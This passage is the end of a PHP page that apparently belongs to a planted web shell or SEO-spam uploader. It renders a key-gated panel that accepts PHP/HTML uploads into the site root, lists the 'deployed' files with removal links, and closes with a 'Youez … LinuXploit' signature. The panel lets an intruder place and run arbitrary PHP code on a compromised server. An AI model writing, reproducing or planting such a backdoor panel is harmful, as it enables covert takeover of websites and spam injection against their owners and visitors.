<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><?php if($status['bot_verify']):?><path d="m9 12 2 2 4-4"/><?php else:?><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/><?php endif;?></svg>
</div>
<div class="lb">Verify</div>
<div class="vl"><?php echo $status['bot_verify']?'Passed':'Pending';?></div>
</div>
</div>

<form method="POST" enctype="multipart/form-data" id="uf">
<div class="upload-area" id="drop">
<input type="file" name="seofile[]" id="seofile" accept=".php,.html,.htm" multiple>
<div class="ic">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>
</div>
<h3>Drop file here or click to browse</h3>
<p>PHP / HTML &mdash; auto-configured on upload</p>
</div>
</form>

<?php if(!empty($fileList)):?>
<div class="files">
<div class="fh"><span>Deployed Files</span><span class="cnt"><?php echo $fc;?></span></div>
<?php foreach($fileList as $f):?>
<div class="fi">
<div class="fl">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><?php if(is_file($root.'/'.$f)):?><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><path d="M22 4 12 14.01l-3-3"/><?php else:?><circle cx="12" cy="12" r="10"/><line x1="15" y1="9" x2="9" y2="15"/><line x1="9" y1="9" x2="15" y2="15"/><?php endif;?></svg>
<span class="nm"><?php echo htmlspecialchars($f);?></span>
<?php if(!is_file($root.'/'.$f)):?><span class="ms">missing</span><?php endif;?>
</div>
<a class="rm" href="?k=<?php echo $k;?>&del=<?php echo urlencode($f);?>">Remove</a>
</div>
<?php endforeach;?>
</div>
<?php endif;?>

<div class="foot">
<p><span class="host"><?php echo htmlspecialchars($host);?></span></p>
</div>

</div>
<script>
const drop=document.getElementById('drop'),inp=document.getElementById('seofile'),form=document.getElementById('uf');
drop.addEventListener('dragover',e=>{e.preventDefault();drop.classList.add('drag')});
drop.addEventListener('dragleave',()=>drop.classList.remove('drag'));
drop.addEventListener('drop',e=>{e.preventDefault();drop.classList.remove('drag');inp.files=e.dataTransfer.files;form.submit()});
inp.addEventListener('change',()=>{if(inp.files.length)form.submit()});
</script>
</body>
</html>
<?php
}

Youez - 2016 - github.com/yon3zu
LinuXploit